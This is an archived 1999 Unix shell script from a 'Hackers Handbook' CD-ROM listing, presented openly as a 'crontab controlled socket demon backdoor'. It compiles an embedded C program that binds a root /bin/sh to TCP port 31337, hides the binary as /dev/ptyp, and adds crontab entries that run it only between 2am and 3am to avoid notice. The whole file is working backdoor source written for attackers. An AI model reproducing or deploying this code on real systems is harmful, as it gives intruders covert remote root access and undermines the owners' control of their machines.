home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / unix / crontab_backdoor.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  1999-04-11  |  3KB  |  91 lines

  1. #!/bin/sh
  2. #              **********************************************
  3. #              ** crontab controlled socket demon backdoor **
  4. #              **        by n0b0dy (n0b0dy@gmx.de)         **
  5. #              ********************************************** 02/99
  6. #
  7. #
  8. # A simple shell script which bind a root shell to a socket...on a selected
  9. # port (just for a few hours, controlled by crontab default from 2am-3am)
  10. #
  11. #
  12. # by n0b0dy (n0b0dy@gmx.de)
  13. # most of the code for the socket demon tooked from pluvius@io.org !
  14. #
  15. # don't forget.. when you connect to the port.. commands are like:   
  16. # "ls -l;" or "exit;" (don't forget the ';')                         
  17.  
  18. # Settings:
  19.  
  20. # Which port should the shell start on?
  21. PORT="31337"
  22.  
  23. # Where (and under what name) you want to hide the socket demon?
  24. HIDE="/dev/ptyp"
  25.  
  26. # Time when the socket demon should start (0-23 h, military time!!!) 
  27. START="2"
  28.  
  29. # Same like above but when should it stop?
  30. STOP="3"
  31.  
  32. # What compiler to use?
  33. CC="gcc"
  34.  
  35. echo "**********************************************"
  36. echo "** crontab controlled socket demon backdoor **"
  37. echo "**         by n0b0dy (n0b0dy@gmx.de)        **"
  38. echo "********************************************** 02/99"
  39. echo ""
  40. echo ""
  41. echo ""
  42.  
  43.  
  44. if  [ ".`whoami`" != ".root" ];  then
  45.   echo "you had to be root to do this!"
  46.   exit 1
  47. fi
  48.  
  49. echo "Now creating socket demon in " $HIDE
  50.  
  51. echo "#define PORT " $PORT > socketdemon.c
  52. cat >>socketdemon.c <<'EOF'
  53. #include <stdio.h>
  54. #include <signal.h>
  55. #include <sys/types.h>
  56. #include <sys/socket.h>
  57. #include <netinet/in.h>
  58. int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
  59. struct sockaddr_in serv_addr; struct sockaddr_in client_addr;
  60. int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  61. if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr));
  62. serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  63. serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *)
  64. &serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0)
  65. exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0);
  66. soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len =
  67. sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,
  68. &soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork();
  69. if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2);
  70. execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli);}}
  71. EOF
  72. echo "compiling..."
  73. $CC -o $HIDE socketdemon.c
  74.  
  75. if [ -f $HIDE ]; then
  76.   echo "done"
  77.   rm -f socketdemon.c
  78. else
  79.   echo "unable to compile socketdemon"
  80.   rm -f socketdemon.c
  81.   exit 1
  82. fi
  83. echo " "
  84. echo " "
  85. echo "now adding entry to crontab"
  86. echo "STARTTIME = "$START"; ENDTIME = "$STOP"h"
  87. echo "*" $START "* * *" $HIDE > crontabfile
  88. echo "*" $STOP "* * * killall -9 "$HIDE >> crontabfile
  89. crontab crontabfile
  90. rm -f crontabfile
  91.